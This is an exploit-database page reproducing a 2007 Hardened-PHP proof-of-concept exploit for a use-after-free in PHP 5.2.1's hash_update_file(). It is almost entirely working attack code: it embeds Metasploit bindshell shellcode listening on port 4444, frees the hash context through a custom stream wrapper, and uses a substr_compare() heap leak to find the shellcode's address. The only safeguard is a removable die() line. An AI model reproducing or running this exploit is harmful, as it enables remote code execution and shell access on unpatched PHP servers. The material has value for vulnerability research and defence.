exploits , vulnerabilities , articles , PHP <= 5.2.1 hash_update_file() Freed Resource Usage Exploit

Rated as : Critical

<?php
 
////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___ 
//
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
//
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
//
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
//
  //                                                                   
//
  //         Proof of concept code from the Hardened-PHP Project       
//
  //                   (C) Copyright 2007 Stefan Esser                 
//
  //                                                                   
//
 
////////////////////////////////////////////////////////////////////////
  //         PHP hash_update_file() freed resource usage exploit       
//
 
////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // linux x86 bindshell on port 4444 from Metasploit
  $shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
     
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
     
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
     
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
     
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
     
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  
  define("OFFSET", pack("L",findOffset()));


  class AttackStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
      return true;
    }

    function stream_read($count)
    {
      hash_final($GLOBALS['hid'], true);
      $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
      return "A";
    }

    function stream_eof()
    {
      return true;
    }

    function stream_seek($offset, $whence)
    {
               return false;
    }
  }

  stream_wrapper_register("attack", "AttackStream") or
die("Failed to register protocol");

  $hid = hash_init('md5');
  hash_update_file($hid, "attack://nothing");






  // This function uses the substr_compare() vulnerability
  // to get the offset. 
  
  function findOffset()
  {
    global $offset_1, $offset_2, $shellcode;
    // We need to NOT clear these variables,
    //  otherwise the heap is too segmented
    global $memdump, $d, $arr;
    
    $sizeofHashtable = 39;
    $maxlong = 0x7fffffff;

    // Signature of a big endian Hashtable of size 256 with 1 element
    $search =
"\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00";

    $memdump = str_repeat("A", 8192);
    for ($i=0; $i<400; $i++) {
	  $d[$i]=array();
    }
    unset($d[350]);
    $x = str_repeat("\x01", $sizeofHashtable);
    unset($d[351]);
    unset($d[352]);
    $arr = array();
    for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
    $arr[$shellcode] = 1;
    for ($i=0; $i<129; $i++) { unset($arr[$i]); }

    // If the libc memcmp leaks the information use it
    // otherwise we only get a case insensitive memdump
    $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

    for ($i=0; $i<8192; $i++) {
      $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
      $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
      if ($y-$Y == 1 || $Y-$y==1){
        $y = chr($y);
        if ($b && strtoupper($y)!=$y) {
          if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
            $y = strtoupper($y);
          }
        }
        $memdump[$i] = $y;
      } else {
  	    $y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
        $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
        if ($y-$Y != 1 && $Y-$y!=1){
	      $memdump[$i] = chr(1);
        } else {
          $memdump[$i] = chr(0);
        }   
      }
    }
    
    // Search hashtable to get the shellcode offset
    $pos_hashtable = strpos($memdump, $search);
    
    if ($pos_hashtable == 0) {
      die ("Unable to find the offset");
    }
    
    $addr = substr($memdump, $pos_hashtable+6*4, 4);
    $addr = unpack("L", $addr);
    return ($addr[1] + 32);
  }
?>

securitydot.net - 2007-03-20